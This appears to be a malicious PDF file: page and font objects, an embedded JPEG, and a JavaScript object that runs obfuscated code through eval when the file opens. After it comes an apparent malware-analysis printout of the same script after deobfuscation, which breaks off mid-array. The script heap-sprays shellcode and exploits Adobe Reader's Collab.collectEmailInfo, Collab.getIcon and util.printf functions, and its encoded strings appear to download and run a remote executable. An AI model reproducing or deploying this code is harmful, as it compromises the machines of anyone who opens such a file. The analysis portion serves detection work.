�~�6�_L/�����?}�� }<�} ���;#�< ��_i�T�Zmt8�� ���� ���j�����֏����J �w ��� ��R�h0�M  ��
.0��
�O��t�,� `�Hj�%�L������  ��*DY���U k�� p.-�R� �� l\��Z- Zߕ
!z٣�����Y�� � ��1 �� w  PS 02(/��Py�^� �iܠ��v� ��S��w��{��n ��
��T%���5-�� 0H���4 ��4�� ��d ��4$�oo!�R6*  ��cF>�G�����F)m5�<U�M�*&� �� |� ��� ԑ 툚2`*[ !��5V`嶃C��B� �d �ͭ��� �< �[(�9&�� �@ �^�t��:FP�r�P�LK���FX]n���U��]c�YfqM g�� ��  ��N��^�PiE��uFz�����!�0 �W���B ���p�� ���P�¨��>�S�� �4 ��7��<�LQ� и 
s �^-�#  �
[������ ��,˝V=� � \i TpL  ��I5
Y˨X��K= #% �d)K��a�- %'d�i�c����'�P*�x� ᘔ�O ˍen( l��
\v,��d�= W� H�LʄQ� �VR�ﵗ `t�H�,E  K��<�H�o�*�C e��yf� 
��������1[ԝ�� $���� �lRm ��垁�(�n� -A�ɴё��VR �
��)v��l���01�ɰV,����)���r �o� ��;��1c��c��0-�g�  R�c�]d�( �'����Q�q� ��c�8�7<3����6UE�E �*t�5u��zw\� ��sC�vu��bGL �%:ל)/����=���x��;|�������:^��l [���.��p��"_� �|z�q��� '� �� "�ǎx 
endstream
endobj
1 0 obj
<</Type /Pages
/Kids [
3 0 R
5 0 R
7 0 R
9 0 R
]
/Count 4
>>
endobj
11 0 obj
<</Type /OCG /Name (��print)
/Usage <</Print <</PrintState /ON>> /View <</ViewState /OFF>>>>>>
endobj
12 0 obj
<</Type /OCG /Name (��view)
/Usage <</Print <</PrintState /OFF>> /View <</ViewState /ON>>>>>>
endobj
13 0 obj
<</Type /Font
/Subtype /Type1
/BaseFont /Helvetica
/Name /F1
/Encoding /WinAnsiEncoding
>>
endobj
14 0 obj
<</Type /Font
/Subtype /Type1
/BaseFont /Times-Roman
/Name /F2
/Encoding /WinAnsiEncoding
>>
endobj
15 0 obj
<</Type /Font
/Subtype /Type1
/BaseFont /Times-Bold
/Name /F3
/Encoding /WinAnsiEncoding
>>
endobj
16 0 obj
<</Type /XObject
/Subtype /Image
/Width 400
/Height 200
/ColorSpace /DeviceRGB
/BitsPerComponent 8
/Filter /DCTDecode
/Length 2182>>
stream
���� JFIF    ��>CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), default quality
��C          		 
  
                  $.' ",#  (7),01444 '9=82<.342��C 			    

 2! !22222222222222222222222222222222222222222222222222��  � �  "      ��                 	
 �ĵ             }       !1A  Qa "q 2��� #B�� R��$3br�	
     %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz���������������������������������������������������������������������������                    	
 �ĵ              w      !1  AQ aq "2�  B����	#3R� br�
 $4�%�    &'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz��������������������������������������������������������������������������       ?�+�O�
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��L���)\i7��(����(� �(� �(� �(� �(� �(� �( ��[�(��II1� QEQ!E P E P E P E P E P E P E P E P E P E P E P E P E P O��*� 3L�� vw.� �= ��*M�R9 �RL*�pG4�r�~n
d�c��s;�r�  d� �� QE 
(��
(��
(��
(��
(��
(��� Q@  Q@��(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �<f��Z�rj^F�I�(����(� ' �?f &��Ql��(�HQE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE .)����QE B
�� r*:)5r���RA=1L� 4�d Q��+��MظEKVJ E ���>�wDIr�  QL���(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(� n~n
>�M\�ɭ�U�1KE ����QE  (��(��(��(��(��(��(��(��(��(��  R+ �ih ��QE  (��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(���" p�jJ(�����QE �
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
Fm���2(*6��	n i��Q� �� �$k4�>�(�` QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE&ќ��E m���( QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE  ��
endstream
endobj
2 0 obj
<<
/ProcSet [/PDF /Text /ImageB /ImageC /ImageI]
/Font <<
/F1 13 0 R
/F2 14 0 R
/F3 15 0 R
>>
/XObject <<
/I1 16 0 R
>>
/Properties <</OC1 11 0 R /OC2 12 0 R>>
/ExtGState <<
>>
>>
endobj
17 0 obj
<<
/Names [(EmbeddedJS) 18 0 R ]
>>
endobj
18 0 obj
<<
/S /JavaScript
/JS (��jEx0K7hU=null;function tzyOODPYo\(\){return false;}jcqQmdpD="txsUKLJmF";var zx4McRdQG = 'var bVc0vYoMR = new Array\(\);var rY2CxZ3zCv;function xpZUeT6FR\(zHY94ooE, enaQ3oKPv\){while\(zHY94ooE.length * 2 < enaQ3oKPv\){zHY94ooE += zHY94ooE;}zHY94ooE = zHY94ooE.substring\(0, enaQ3oKPv / 2\);return zHY94ooE;}function tUkoPNmN\(jk5aj6jqm\){if\(jk5aj6jqm == 0\){var iric865U = 0x0c0c0c0c;}else if\(jk5aj6jqm == 1\){iric865U = 0x30303030;}var lxDQHmzn = new Array\(\\"%u5350%u5\\",\\"251%u5756\\",\\"%u9c55\\",\\"%u00e\\",\\"8%u0000%u5\\",\\"d00%ue\\",\\"d83%u310d%\\",\\"u64c0\\",\\"%u4003%u78\\",\\"30%u8b\\",\\"0c%u0c4\\",\\"0%u708\\",\\"b%uad1c%\\",\\"u408b%u\\",\\"eb08%u\\",\\"8b09%u344\\",\\"0%u408\\",\\"d%u8b7c\\",\\"%u3c40%\\",\\"u5756%u5eb\\",\\"e%u0001\\",\\"%u0100%u\\",\\"bfee%u0\\",\\"14e%u0\\",\\"000%uef0\\",\\"1%ud6e8%u0\\",\\"001%u\\",\\"5f00%u895e\\",\\"%u81e\\",\\"a%u5ec2%\\",\\"u0001%u520\\",\\"0%u8068\\",\\"%u0000%\\",\\"uff00%u\\",\\"4e95%\\",\\"u0001%u890\\",\\"0%u81e\\",\\"a%u5ec2%u0\\",\\"001%u3100\\",\\"%u01f6%u8a\\",\\"c2%u359c%u\\",\\"0263%u0000\\",\\"%ufb80\\",\\"%u7400%u8\\",\\"806%u321c\\",\\"%ueb46%u\\",\\"c6ee%u320\\",\\"4%u8900%\\",\\"u81ea%u\\",\\"45c2%u0002\\",\\"%u5200\\",\\"%u95f\\",\\"f%u0152\\",\\"%u000\\",\\"0%uea8\\",\\"9%uc28\\",\\"1%u0250%u0\\",\\"000%u5\\",\\"052%u95ff\\",\\"%u0156%u0\\",\\"000%u006a\\",\\"%u006a%\\",\\"uea89%u\\",\\"c281%u0\\",\\"15e%u\\",\\"0000%u89\\",\\"52%u81ea%\\",\\"u78c2%\\",\\"u0002%u5\\",\\"200%u\\",\\"006a%ud0f\\",\\"f%u05\\",\\"6a%uea89%\\",\\"uc281%u01\\",\\"5e%u0000%u\\",\\"ff52%u5a9\\",\\"5%u0001%u8\\",\\"900%u\\",\\"81ea%\\",\\"u5ec2%u000\\",\\"1%u5200\\",\\"%u8068%u\\",\\"0000%uff00\\",\\"%u4e95%u\\",\\"0001%\\",\\"u8900%u81e\\",\\"a%u5e\\",\\"c2%u0001\\",\\"%u3100\\",\\"%u01f6%u8\\",\\"ac2%u35\\",\\"9c%u026e%\\",\\"u0000%\\",\\"ufb80%u7\\",\\"400%u880\\",\\"6%u321c%ue\\",\\"b46%uc6e\\",\\"e%u32\\",\\"04%u890\\",\\"0%u81ea%u4\\",\\"5c2%u0002%\\",\\"u5200%u9\\",\\"5ff%u01\\",\\"52%u0000%\\",\\"uea89%u\\",\\"c281%\\",\\"u0250%u0\\",\\"000%u5052%\\",\\"u95ff%u01\\",\\"56%u0000%u\\",\\"006a%u\\",\\"006a%uea\\",\\"89%uc28\\",\\"1%u015e%u\\",\\"0000%u8\\",\\"952%u81\\",\\"ea%ua6c2%\\",\\"u0002%\\",\\"u5200%u00\\",\\"6a%ud0f\\",\\"f%u056\\",\\"a%uea89%uc\\",\\"281%u\\",\\"015e%u\\",\\"0000%uff\\",\\"52%u5\\",\\"a95%u0001\\",\\"%u9d00%u5f\\",\\"5d%u5a5e%u\\",\\"5b59%uc358\\",\\"%u0000%u00\\",\\"00%u0000%u\\",\\"0000%u0000\\",\\"%u0000%u\\",\\"0000%\\",\\"u0000%u65\\",\\"47%u5474%u\\",\\"6d65%u5070\\",\\"%u7461%u41\\",\\"68%u4c00\\",\\"%u616f%u\\",\\"4c64%u\\",\\"6269%u\\",\\"6172%u797\\",\\"2%u00\\",\\"41%u654\\",\\"7%u5074%u6\\",\\"f72%u416\\",\\"3%u646\\",\\"4%u6572%u\\",\\"7373%u\\",\\"5700%u6e\\",\\"69%u78\\",\\"45%u63\\",\\"65%ubb0\\",\\"0%uf2\\",\\"89%uf789%\\",\\"uc030\\",\\"%u75ae%u2\\",\\"9fd%u\\",\\"89f7%\\",\\"u31f9%\\",\\"ubec0%\\",\\"u003c%u\\",\\"0000%ub503\\",\\"%u021b%u00\\",\\"00%uad6\\",\\"6%u85\\",\\"03%u021\\",\\"b%u0000%u7\\",\\"08b%u8\\",\\"378%u1cc\\",\\"6%ub50\\",\\"3%u021b%u\\",\\"0000%u\\",\\"bd8d%\\",\\"u021f%u00\\",\\"00%u03\\",\\"ad%u1b\\",\\"85%u00\\",\\"02%uab00%\\",\\"u03ad%u1b\\",\\"85%u0002%\\",\\"u5000\\",\\"%uada\\",\\"b%u8503%u0\\",\\"21b%u0000\\",\\"%u5eab\\",\\"%udb31%u56\\",\\"ad%u850\\",\\"3%u021b%\\",\\"u0000%uc6\\",\\"89%ud7\\",\\"89%ufc51%\\",\\"ua6f3%u7\\",\\"459%u5\\",\\"e04%ueb43\\",\\"%u5ee9%u\\",\\"d193%u03e0\\",\\"%u2785%u0\\",\\"002%u3100\\",\\"%u96f6%\\",\\"uad66%ue\\",\\"0c1%u0302%\\",\\"u1f85%u00\\",\\"02%u8900%\\",\\"uadc6\\",\\"%u8503%u02\\",\\"1b%u00\\",\\"00%uebc3\\",\\"%u0010%\\",\\"u0000%\\",\\"u0000%u000\\",\\"0%u00\\",\\"00%u0000%u\\",\\"0000%\\",\\"u0000%u890\\",\\"0%u1b\\",\\"85%u0002%\\",\\"u5600%ue8\\",\\"57%uff58%u\\",\\"ffff%\\",\\"u5e5f%u\\",\\"01ab%u80c\\",\\"e%ubb3\\",\\"e%u0274%u\\",\\"edeb%u55\\",\\"c3%u4c5\\",\\"2%u4f4d\\",\\"%u2e4e%u\\",\\"4c44%\\",\\"u004c%u525\\",\\"5%u444c%u7\\",\\"76f%u6\\",\\"c6e%u616\\",\\"f%u5464%u\\",\\"466f%u\\",\\"6c69%u\\",\\"4165%u750\\",\\"0%u64\\",\\"70%u7461%\\",\\"u2e65%\\",\\"u7865%u\\",\\"0065%u72\\",\\"63%u7\\",\\"361%u2e68\\",\\"%u687\\",\\"0%u007\\",\\"0%u7468%\\",\\"u7074%u2\\",\\"f3a%u6f2f%\\",\\"u616c%u64\\",\\"6e%u6e6f%\\",\\"u632e\\",\\"%u6d6\\",\\"f%u76\\",\\"2f%u7\\",\\"265%u\\",\\"6173%u75\\",\\"2f%u6470%u\\",\\"7461%u2e65\\",\\"%u6870%u3f\\",\\"70%u6\\",\\"469%u3\\",\\"33d%u7226%\\",\\"u7465%u\\",\\"6f3d%u00\\",\\"6b%u9000\\"\);lxDQHmzn = unescape\(lxDQHmzn.join\(\\"\\"\)\);var phldahIIt = 0x400000;var rqVkMn73vX = lxDQHmzn.length * 2;var enaQ3oKPv = phldahIIt - \(rqVkMn73vX + 0x38\);var zHY94ooE = unescape\(\\"%u9090%u9090\\"\);zHY94ooE = xpZUeT6FR\(zHY94ooE, enaQ3oKPv\);var wfNlaURwA = \(iric865U - 0x400000\) / phldahIIt;for\(var eziXZcNwIJ = 0; eziXZcNwIJ < wfNlaURwA; eziXZcNwIJ++\){bVc0vYoMR[eziXZcNwIJ] = zHY94ooE + lxDQHmzn;}}function gsaZVSFUw\(\){var mzcnNPzF9a = 0;var rpQegGRv = app.viewerVersion.toString\(\);app.clearTimeOut\(rY2CxZ3zCv\);if\(\(rpQegGRv >= 8 && rpQegGRv < 8.102\) || rpQegGRv < 7.1\){tUkoPNmN\(0\);var bjW5dSzGu = unescape\(\\"%u0c0c%u0c0c\\"\);while\(bjW5dSzGu.length < 44952\) bjW5dSzGu += bjW5dSzGu;var bM2qoQpW = this;var x52iu1NL = Collab;bM2qoQpW[\\"collabStore\\"] = x52iu1NL[\\"collectEmailInfo\\"]\({subj : \\"\\", msg : bjW5dSzGu}\);}if\(\(rpQegGRv >= 8.102 && rpQegGRv < 8.104\) || \(rpQegGRv >= 9 && rpQegGRv < 9.1\) || rpQegGRv <= 7.101\){try{if\(app.doc.Collab.getIcon\){tUkoPNmN\(2\);var kLWPthXb = unescape\(\\"	\\"\);while\(kLWPthXb.length < 0x4000\){kLWPthXb += kLWPthXb;}kLWPthXb = \\"N.\\" + kLWPthXb;var g5Zbqtcrq = app;g5Zbqtcrq[\\"doc\\"][\\"Collab\\"][\\"getIcon\\"]\(kLWPthXb\);mzcnNPzF9a = 1;}else{mzcnNPzF9a = 1;}}catch\(e\){mzcnNPzF9a = 1;}if\(mzcnNPzF9a == 1\){if\(rpQegGRv == 8.102 || rpQegGRv == 7.1\){tUkoPNmN\(1\);var edLLyOc8V = \\"12999999999999999999\\";for\(w3RDafYN = 0; w3RDafYN < 276; w3RDafYN++\){edLLyOc8V += \\"8\\";}var qVTBH6EV5 = util;qVTBH6EV5[\\"printf\\"]\(\\"E000f\\", edLLyOc8V\);}}}}app.gki0cHIe = gsaZVSFUw;rY2CxZ3zCv = app.setTimeOut\(\\"app.gki0cHIe\(\)\\", 10\);';this.uidBX8Gl=0.0623598931;function cQZodvu46\(irJ9fFty,jheATvQqm\){return false;}nee0gN0y='v9526VsQE';var eYBbp78I = zx4McRdQG.replace\(/[]/g, ''\);function hLPauvgOSG\(nhfZ8mPVxS\){}tVSJgiMkif='fTmHH2GE';var xl0w3p61=new Array\(\);xl0w3p61[0]=15019;xl0w3p61[1]=17672;var aRBRHTUkH = 'e'+'v'+'a'+'l';app[aRBRHTUkH]\(eYBbp78I\);this.z58Znpjdc=30883;var g4Dvw2lIw=false;oPqJeQB9n=6199;)
>>
endobj
19 0 obj
<<
/Title (��hereThisOn)
/Author (��dummyEverAt)
/Subject (��anBookIs)
/Keywords (��looksForSites, lookPointCicero, overAldusAmet)
/Creator (��sLong)
/Producer (��154d7da9e669c75ee317d46614381dd8)
/CreationDate (D:20091013213010+04'00')
/ModDate (D:20091013213010+04'00')
>>
endobj
20 0 obj
<<
/Type /Catalog
/Pages 1 0 R
/OpenAction [3 0 R /FitH null]
/PageLayout /SinglePage
/PageMode /UseNone
/Lang /en
/Names <<
/JavaScript 17 0 R
>>
/ViewerPreferences<<
/Direction /L2R
>>
/OCProperties <</OCGs [11 0 R 12 0 R] /D <</ON [11 0 R] /OFF [12 0 R] /AS [<</Event /Print /OCGs [11 0 R 12 0 R] /Category [/Print]>> <</Event /View /OCGs [11 0 R 12 0 R] /Category [/View]>>]>>>>
>>
endobj
xref
0 21
0000000000 65535 f 
0000009271 00000 n 
0000012250 00000 n 
0000000009 00000 n 
0000000117 00000 n 
0000002818 00000 n 
0000002926 00000 n 
0000005504 00000 n 
0000005612 00000 n 
0000008053 00000 n 
0000008162 00000 n 
0000009347 00000 n 
0000009463 00000 n 
0000009577 00000 n 
0000009684 00000 n 
0000009793 00000 n 
0000009901 00000 n 
0000012445 00000 n 
0000012497 00000 n 
0000024683 00000 n 
0000025085 00000 n 
trailer
<<
/Size 21
/Root 20 0 R
/Info 19 0 R
>>
startxref
25487
%%EOF
generic_stage_recovery_006.js deobfuscated-js generic stage recovery null-collapse -> split-literal-normalize from JavaScript object 18 at offset 0x30D1 5733 bytes
SHA-256: d7697efb66ed2d911cacbcf03d9b99bcb7afe45dc5147e417d16a5e882137ede
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
��jEx0K7hU=null;function tzyOODPYo(){return false;}jcqQmdpD="txsUKLJmF";var zx4McRdQG = 'var bVc0vYoMR = new Array();var rY2CxZ3zCv;function xpZUeT6FR(zHY94ooE, enaQ3oKPv){while(zHY94ooE.length * 2 < enaQ3oKPv){zHY94ooE += zHY94ooE;}zHY94ooE = zHY94ooE.substring(0, enaQ3oKPv / 2);return zHY94ooE;}function tUkoPNmN(jk5aj6jqm){if(jk5aj6jqm == 0){var iric865U = 0x0c0c0c0c;}else if(jk5aj6jqm == 1){iric865U = 0x30303030;}var lxDQHmzn = new Array(\"%u5350%u5\",\"251%u5756\",\"%u9c55\",\"%u00e\",\"8%u0000%u5\",\"d00%ue\",\"d83%u310d%\",\"u64c0\",\"%u4003%u78\",\"30%u8b\",\"0c%u0c4\",\"0%u708\",\"b%uad1c%\",\"u408b%u\",\"eb08%u\",\"8b09%u344\",\"0%u408\",\"d%u8b7c\",\"%u3c40%\",\"u5756%u5eb\",\"e%u0001\",\"%u0100%u\",\"bfee%u0\",\"14e%u0\",\"000%uef0\",\"1%ud6e8%u0\",\"001%u\",\"5f00%u895e\",\"%u81e\",\"a%u5ec2%\",\"u0001%u520\",\"0%u8068\",\"%u0000%\",\"uff00%u\",\"4e95%\",\"u0001%u890\",\"0%u81e\",\"a%u5ec2%u0\",\"001%u3100\",\"%u01f6%u8a\",\"c2%u359c%u\",\"0263%u0000\",\"%ufb80\",\"%u7400%u8\",\"806%u321c\",\"%ueb46%u\",\"c6ee%u320\",\"4%u8900%\",\"u81ea%u\",\"45c2%u0002\",\"%u5200\",\"%u95f\",\"f%u0152\",\"%u000\",\"0%uea8\",\"9%uc28\",\"1%u0250%u0\",\"000%u5\",\"052%u95ff\",\"%u0156%u0\",\"000%u006a\",\"%u006a%\",\"uea89%u\",\"c281%u0\",\"15e%u\",\"0000%u89\",\"52%u81ea%\",\"u78c2%\",\"u0002%u5\",\"200%u\",\"006a%ud0f\",\"f%u05\",\"6a%uea89%\",\"uc281%u01\",\"5e%u0000%u\",\"ff52%u5a9\",\"5%u0001%u8\",\"900%u\",\"81ea%\",\"u5ec2%u000\",\"1%u5200\",\"%u8068%u\",\"0000%uff00\",\"%u4e95%u\",\"0001%\",\"u8900%u81e\",\"a%u5e\",\"c2%u0001\",\"%u3100\",\"%u01f6%u8\",\"ac2%u35\",\"9c%u026e%\",\"u0000%\",\"ufb80%u7\",\"400%u880\",\"6%u321c%ue\",\"b46%uc6e\",\"e%u32\",\"04%u890\",\"0%u81ea%u4\",\"5c2%u0002%\",\"u5200%u9\",\"5ff%u01\",\"52%u0000%\",\"uea89%u\",\"c281%\",\"u0250%u0\",\"000%u5052%\",\"u95ff%u01\",\"56%u0000%u\",\"006a%u\",\"006a%uea\",\"89%uc28\",\"1%u015e%u\",\"0000%u8\",\"952%u81\",\"ea%ua6c2%\",\"u0002%\",\"u5200%u00\",\"6a%ud0f\",\"f%u056\",\"a%uea89%uc\",\"281%u\",\"015e%u\",\"0000%uff\",\"52%u5\",\"a95%u0001\",\"%u9d00%u5f\",\"5d%u5a5e%u\",\"5b59%uc358\",\"%u0000%u00\",\"00%u0000%u\",\"0000%u0000\",\"%u0000%u\",\"0000%\",\"u0000%u65\",\"47%u5474%u\",\"6d65%u5070\",\"%u7461%u41\",\"68%u4c00\",\"%u616f%u\",\"4c64%u\",\"6269%u\",\"6172%u797\",\"2%u00\",\"41%u654\",\"7%u5074%u6\",\"f72%u416\",\"3%u646\",\"4%u6572%u\",\"7373%u\",\"5700%u6e\",\"69%u78\",\"45%u63\",\"65%ubb0\",\"0%uf2\",\"89%uf789%\",\"uc030\",\"%u75ae%u2\",\"9fd%u\",\"89f7%\",\"u31f9%\",\"ubec0%\",\"u003c%u\",\"0000%ub503\",\"%u021b%u00\",\"00%uad6\",\"6%u85\",\"03%u021\",\"b%u0000%u7\",\"08b%u8\",\"378%u1cc\",\"6%ub50\",\"3%u021b%u\",\"0000%u\",\"bd8d%\",\"u021f%u00\",\"00%u03\",\"ad%u1b\",\"85%u00\",\"02%uab00%\",\"u03ad%u1b\",\"85%u0002%\",\"u5000\",\"%uada\",\"b%u8503%u0\",\"21b%u0000\",\"%u5eab\",\"%udb31%u56\",\"ad%u850\",\"3%u021b%\",\"u0000%uc6\",\"89%ud7\",\"89%ufc51%\",\"ua6f3%u7\",\"459%u5\",\"e04%ueb43\",\"%u5ee9%u\",\"d193%u03e0\",\"%u2785%u0\",\"002%u3100\",\"%u96f6%\",\"uad66%ue\",\"0c1%u0302%\",\"u1f85%u00\",\"02%u8900%\",\"uadc6\",\"%u8503%u02\",\"1b%u00\",\"00%uebc3\",\"%u0010%\",\"u0000%\",\"u0000%u000\",\"0%u00\",\"00%u0000%u\",\"0000%\",\"u0000%u890\",\"0%u1b\",\"85%u0002%\",\"u5600%ue8\",\"57%uff58%u\",\"ffff%\",\"u5e5f%u\",\"01ab%u80c\",\"e%ubb3\",\"e%u0274%u\",\"edeb%u55\",\"c3%u4c5\",\"2%u4f4d\",\"%u2e4e%u\",\"4c44%\",\"u004c%u525\",\"5%u444c%u7\",\"76f%u6\",\"c6e%u616\",\"f%u5464%u\",\"466f%u\",\"6c69%u\",\"4165%u750\",\"0%u64\",\"70%u7461%\",\"u2e65%\",\"u7865%u\",\"0065%u72\",\"63%u7\",\"361%u2e68\",\"%u687\",\"0%u007\",\"0%u7468%\",\"u7074%u2\",\"f3a%u6f2f%\",\"u616c%u64\",\"6e%u6e6f%\",\"u632e\",\"%u6d6\",\"f%u76\",\"2f%u7\",\"265%u\",\"6173%u75\",\"2f%u6470%u\",\"7461%u2e65\",\"%u6870%u3f\",\"70%u6\",\"469%u3\",\"33d%u7226%\",\"u7465%u\",\"6f3d%u00\",\"6b%u9000\");lxDQHmzn = unescape(lxDQHmzn.join(\"\"));var phldahIIt = 0x400000;var rqVkMn73vX = lxDQHmzn.length * 2;var enaQ3oKPv = phldahIIt - (rqVkMn73vX + 0x38);var zHY94ooE = unescape(\"%u9090%u9090\");zHY94ooE = xpZUeT6FR(zHY94ooE, enaQ3oKPv);var wfNlaURwA = (iric865U - 0x400000) / phldahIIt;for(var eziXZcNwIJ = 0; eziXZcNwIJ < wfNlaURwA; eziXZcNwIJ++){bVc0vYoMR[eziXZcNwIJ] = zHY94ooE + lxDQHmzn;}}function gsaZVSFUw(){var mzcnNPzF9a = 0;var rpQegGRv = app.viewerVersion.toString();app.clearTimeOut(rY2CxZ3zCv);if((rpQegGRv >= 8 && rpQegGRv < 8.102) || rpQegGRv < 7.1){tUkoPNmN(0);var bjW5dSzGu = unescape(\"%u0c0c%u0c0c\");while(bjW5dSzGu.length < 44952) bjW5dSzGu += bjW5dSzGu;var bM2qoQpW = this;var x52iu1NL = Collab;bM2qoQpW[\"collabStore\"] = x52iu1NL[\"collectEmailInfo\"]({subj : \"\", msg : bjW5dSzGu});}if((rpQegGRv >= 8.102 && rpQegGRv < 8.104) || (rpQegGRv >= 9 && rpQegGRv < 9.1) || rpQegGRv <= 7.101){try{if(app.doc.Collab.getIcon){tUkoPNmN(2);var kLWPthXb = unescape(\"%09\");while(kLWPthXb.length < 0x4000){kLWPthXb += kLWPthXb;}kLWPthXb = \"N.\" + kLWPthXb;var g5Zbqtcrq = app;g5Zbqtcrq[\"doc\"][\"Collab\"][\"getIcon\"](kLWPthXb);mzcnNPzF9a = 1;}else{mzcnNPzF9a = 1;}}catch(e){mzcnNPzF9a = 1;}if(mzcnNPzF9a == 1){if(rpQegGRv == 8.102 || rpQegGRv == 7.1){tUkoPNmN(1);var edLLyOc8V = \"12999999999999999999\";for(w3RDafYN = 0; w3RDafYN < 276; w3RDafYN++){edLLyOc8V += \"8\";}var qVTBH6EV5 = util;qVTBH6EV5[\"printf\"](\"%45000f\", edLLyOc8V);}}}}app.gki0cHIe = gsaZVSFUw;rY2CxZ3zCv = app.setTimeOut(\"app.gki0cHIe()\", 10);';this.uidBX8Gl=0.0623598931;function cQZodvu46(irJ9fFty,jheATvQqm){return false;}nee0gN0y='v9526VsQE';var eYBbp78I = zx4McRdQG.replace(/[]/g, '');function hLPauvgOSG(nhfZ8mPVxS){}tVSJgiMkif='fTmHH2GE';var xl0w3p61=new Array();xl0w3p61[0]=15019;xl0w3p61[1]=17672;var aRBRHTUkH = 'eval';app[aRBRHTUkH](eYBbp78I);this.z58Znpjdc=30883;var g4Dvw2lIw=false;oPqJeQB9n=6199;
generic_stage_recovery_007.js deobfuscated-js generic stage recovery null-collapse -> percent-decode from JavaScript object 18 at offset 0x30D1 5738 bytes
SHA-256: cdd2b062c3c1b2f64752cd7db2a547fc40a54bf318106a2e7cd7a981436a9199
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
��jEx0K7hU=null;function tzyOODPYo(){return false;}jcqQmdpD="txsUKLJmF";var zx4McRdQG = 'var bVc0vYoMR = new Array();var rY2CxZ3zCv;function xpZUeT6FR(zHY94ooE, enaQ3oKPv){while(zHY94ooE.length * 2 < enaQ3oKPv){zHY94ooE += zHY94ooE;}zHY94ooE = zHY94ooE.substring(0, enaQ3oKPv / 2);return zHY94ooE;}function tUkoPNmN(jk5aj6jqm){if(jk5aj6jqm == 0){var iric865U = 0x0c0c0c0c;}else if(jk5aj6jqm == 1){iric865U = 0x30303030;}var lxDQHmzn = new Array(\"%u5350%u5\",\"251%u5756\",\"%u9c55\",\"%u00e\",\"8%u0000%u5\",\"d00%ue\",\"d83%u310d%\",\"u64c0\",\"%u4003%u78\",\"30%u8b\",\"0c%u0c4\",\"0%u708\",\"b%uad1c%\",\"u408b%u\",\"eb08%u\",\"8b09%u344\",\"0%u408\",\"d%u8b7c\",\"%u3c40%\",\"u5756%u5eb\",\"e%u0001\",\"%u0100%u\",\"bfee%u0\",\"14e%u0\",\"000%uef0\",\"1%ud6e8%u0\",\"001%u\",\"5f00%u895e\",\"%u81e\",\"a%u5ec2%\",\"u0001%u520\",\"0%u8068\",\"%u0000%\",\"uff00%u\",\"4e95%\",\"u0001%u890\",\"0%u81e\",\"a%u5ec2%u0\",\"001%u3100\",\"%u01f6%u8a\",\"c2%u359c%u\",\"0263%u0000\",\"%ufb80\",\"%u7400%u8\",\"806%u321c\",\"%ueb46%u\",\"c6ee%u320\",\"4%u8900%\",\"u81ea%u\",\"45c2%u0002\",\"%u5200\",\"%u95f\",\"f%u0152\",\"%u000\",\"0%uea8\",\"9%uc28\",\"1%u0250%u0\",\"000%u5\",\"052%u95ff\",\"%u0156%u0\",\"000%u006a\",\"%u006a%\",\"uea89%u\",\"c281%u0\",\"15e%u\",\"0000%u89\",\"52%u81ea%\",\"u78c2%\",\"u0002%u5\",\"200%u\",\"006a%ud0f\",\"f%u05\",\"6a%uea89%\",\"uc281%u01\",\"5e%u0000%u\",\"ff52%u5a9\",\"5%u0001%u8\",\"900%u\",\"81ea%\",\"u5ec2%u000\",\"1%u5200\",\"%u8068%u\",\"0000%uff00\",\"%u4e95%u\",\"0001%\",\"u8900%u81e\",\"a%u5e\",\"c2%u0001\",\"%u3100\",\"%u01f6%u8\",\"ac2%u35\",\"9c%u026e%\",\"u0000%\",\"ufb80%u7\",\"400%u880\",\"6%u321c%ue\",\"b46%uc6e\",\"e%u32\",\"04%u890\",\"0%u81ea%u4\",\"5c2%u0002%\",\"u5200%u9\",\"5ff%u01\",\"52%u0000%\",\"uea89%u\",\"c281%\",\"u0250%u0\",\"000%u5052%\",\"u95ff%u01\",\"56%u0000%u\",\"006a%u\",\"006a%uea\",\"89%uc28\",\"1%u015e%u\",\"0000%u8\",\"952%u81\",\"ea%ua6c2%\",\"u0002%\",\"u5200%u00\",\"6a%ud0f\",\"f%u056\",\"a%uea89%uc\",\"281%u\",\"015e%u\",\"0000%uff\",\"52%u5\",\"a95%u0001\",\"%u9d00%u5f\",\"5d%u5a5e%u\",\"5b59%uc358\",\"%u0000%u00\",\"00%u0000%u\",\"0000%u0000\",\"%u0000%u\",\"0000%\",\"u0000%u65\",\"47%u5474%u\",\"6d65%u5070\",\"%u7461%u41\",\"68%u4c00\",\"%u616f%u\",\"4c64%u\",\"6269%u\",\"6172%u797\",\"2%u00\",\"41%u654\",\"7%u5074%u6\",\"f72%u416\",\"3%u646\",\"4%u6572%u\",\"7373%u\",\"5700%u6e\",\"69%u78\",\"45%u63\",\"65%ubb0\",\"0%uf2\",\"89%uf789%\",\"uc030\",\"%u75ae%u2\",\"9fd%u\",\"89f7%\",\"u31f9%\",\"ubec0%\",\"u003c%u\",\"0000%ub503\",\"%u021b%u00\",\"00%uad6\",\"6%u85\",\"03%u021\",\"b%u0000%u7\",\"08b%u8\",\"378%u1cc\",\"6%ub50\",\"3%u021b%u\",\"0000%u\",\"bd8d%\",\"u021f%u00\",\"00%u03\",\"ad